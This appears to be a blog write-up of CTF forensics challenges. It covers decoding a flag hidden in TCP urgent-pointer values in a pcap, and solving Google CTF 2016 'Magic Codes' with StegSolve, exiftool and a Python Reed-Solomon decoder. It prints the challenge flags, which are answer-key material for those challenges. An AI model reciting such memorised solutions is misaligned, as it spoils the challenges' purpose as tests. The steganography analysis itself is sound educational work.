> tshark -r stego.pcap -T fields -e tcp.urgent_pointer | egrep -vi "^0$"

67
84
70
123
65
110
100
...


There's probably a really cool hacky way to turn these all to chars on the command-line (leave a comment if you know one), but I just threw it in a python script, did some normal vim/sed magic for converting it to a list, and printed out the result:

arr = [
        67,
        84,
        70,
        123,
        65,
        110,
        100,
        95,
        89,
        111,
        117,
        95,
        84,
        104,
        111,
        117,
        103,
        104,
        116,
        95,
        73,
        116,
        95,
        87,
        97,
        115,
        95,
        73,
        110,
        95,
        84,
        104,
        101,
        95,
        80,
        105,
        99,
        116,
        117,
        114,
        101,
        125,
]

print "".join([chr(x) for x in arr])


After running this we get the answer:

CTF{And_You_Thought_It_Was_In_The_Picture}

Learned a lot in this challenge including urgent flags, how evil a stego creator can get (including imagined scenarios that could've been worse), and how to spell Stegosaurus.


Google CTF 2016 - Magic Codes (250)



Google's opened up their first CTF out there this year and it was a very fun one!
This particular challenge was Stego, found in the Forensics category.
In the description it gave you "Can you recover the magic code?" with a link to an image:






Initial thoughts are... Okay, we have this image that's very retro with a DVD, a Satelite, a QR code & something that looks like a frequency visualization of some sort...

What could this possibly be, maybe QR Code mixed with the result of the frequency visualization turned into audio ? (I may be this sinister if I ever start designing challenges)

I first tried the QR code, and it seemed to be some trolling or self-advertising (or both), that linked to the CTF page. (https://capturetheflag.withgoogle.com/)




This wasn't it so I moved on to my usual routine with stego images.
Fired up StegSolve and looked at the bit planes of the image.

For anyone interested in the full process, I've included a step-by-step instruction below, you can find the link to the StegSolve on this list - https://github.com/apsdehal/awesome-ctf#stegano



First open up the StegSolve program:


You should see StegSolve pop up:


 Now open the file you would like to analyze:


You'll see the image, and at the bottom there is a left and right arrow used to cycle through common image manipulation operations that could help with identifying hidden data:


Ended up stopping at Alpha Plane 0, this seemed like a very clear chunk of data hidden in the lowest alpha plane:


Go ahead and save the image somewhere, I saved it using the default name (solved.bmp):



Now was the tricky part... what do we do with this data?

I started by reading the bits in with python, unfortunately nothing too useful looking came out of that..

Looking at the image I reconsidered the possibility of the visual frequency image being part of the challenge, but didn't know how.  Eventually googled all the items on the image together to see if they had any relationship.  I searched for:  "dvd satellite qr code" - http://lmgtfy.com/?q=dvd+satellite+qr+code

And one of the first results was a page on Reed-Solomon error correction codes.  It mentioned on that page, that all of these mediums shown in the image used Reed-Solomon error correction.... that couldn't just be a coincidence.


So looking around for a python library to handle this I found one quickly on PyPi - https://pypi.python.org/pypi/reedsolo


Started to write a few examples up pulling in the alpha image that was extracted, but found nothing.  I wasn't really sure which Codec to use at first.  Even started writing a brute-forcer to check each Codec available up to 100.


After a while (giving up and looking at other challenges) -- I saw an update on the Magic Code challenge, mentioning the metadata was updated.  Running exiftool again now gave this interesting result:

» exiftool MagicCode.png
ExifTool Version Number         : 10.08
File Name                       : MagicCode.png
Directory                       : .
File Size                       : 187 kB
File Modification Date/Time     : 2016:05:01 11:22:52-07:00
File Access Date/Time           : 2016:05:01 11:31:48-07:00
File Inode Change Date/Time     : 2016:05:01 11:22:52-07:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 320
Image Height                    : 320
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Comment                         : (40,8) bytes
Image Size                      : 320x320
Megapixels                      : 0.102


Interesting! There was now a new Comment!  This also looks like it may be the Codec I was looking for, but why were there two values?  Had to look more into how reed solomon correction codes worked....


Comment                         : (40,8) bytes


I immediately noticed 40 * 8 = 320 (size of the image width/height) -- so it must have to do with how the image was formed, and maybe the developer went with that for convenience.


Also started looking at the constructor for this python reedsolo lib, because it showed only one value being passed into the codec constructor in the examples.
The constructor can be found here - https://github.com/tomerfiliba/reedsolomon/blob/master/reedsolo.py#L746


    def __init__(self, nsym=10, nsize=255, fcr=0, prim=0x11d, generator=2, c_exp=8):
        '''Initialize the Reed-Solomon codec. Note that different parameters change the internal values (the ecc symbols, look-up table values, etc) but not the output result (whether your message can be repaired or not, there is no influence of the parameters).'''
        self.nsym = nsym # number of ecc symbols (ie, the repairing rate will be r=(nsym/2)/nsize, so for example if you have nsym=5 and nsize=10, you have a rate r=0.25, so you can correct up to 0.25% errors (or exactly 2 symbols out of 10), and 0.5% erasures (5 symbols out of 10).
        self.nsize = nsize # maximum length of one chunk (ie, message + ecc symbols after encoding, for the message alone it's nsize-nsym)
        self.fcr = fcr # first consecutive root, can be any value between 0 and (2**c_exp)-1
        self.prim = prim # prime irreducible polynomial, use find_prime_polys() to find a prime poly
        self.generator = generator # generator integer, must be prime
        self.c_exp = c_exp # exponent of the field's characteristic. This both defines the maximum value per symbol and the maximum length of one chunk. By default it's GF(2^8), do not change if you're not sure what it means.


So it looks like the first argument they show in the examples is nsym...
In the comment they're showing two values (40, 8) -- in conventional reed solomon this will be (nsize, ndata) but in this library they're using (nsym, nsize).  The nysm value is just (nsize-ndata).  More information can be found on that here - http://iris.elf.stuba.sk/JEEEC/data/pdf/11-12_103-05.pdf

So now we know the second argument (nsize) is 40, and the first argument is (nsize-ndata) or 32.
The codec portion of this took me the longest to figure out, but with all of that in place, we have the final decoder! (I had noticed this when anything came out of the decoder that wasn't \x00 or an empty string...)


#!/usr/bin/env python
import sys
import reedsolo
from PIL import Image

if (len(sys.argv) > 1):
  IMG_FILE = sys.argv[1]
else:
  print "Usage: $ readImg "
  exit(1)

img = Image.open(IMG_FILE).convert('1')
data = img.getdata()
pixels = img.load()

bits = []

for x in range(img.size[0]):
  for y in range(img.size[1]):
    pixel = pixels[y,x]
    if pixel == 0:
      bits.append("0")
    else:
      bits.append("1")

b = "".join([str(x) for x in bits])
bytes = bytearray(int(b[x:x+8], 2) for x in range(0, len(b), 8)).rstrip("\xff")

rs = reedsolo.RSCodec(32, 40)
print repr(rs.decode(bytes))

f = open("SomeBytez", "w")
f.write(rs.decode(bytes))
f.close()



This dropped a gzip file from the looks of it using file:

» file SomeBytez
SomeBytez: gzip compressed data, last modified: Wed Apr 27 14:43:24 2016, max compression


We have to move it to a .gz file to uncompress it as gunzip requires this.

» mv SomeBytez someBytez.gz
» gunzip someBytez.gz
» file someBytez
someBytez: ASCII text, with no line terminators
» cat someBytez
Congratulations, Voyager!  Your flag is: CTF{who_knew_math_helped_with_anything_but_crypto}%


We've got the Flag!!! Never thought this one was going to work, but it did!
Learned a lot about erasure codes during this process! Good Ol' Information Theory :D

CTF{who_knew_math_helped_with_anything_but_crypto}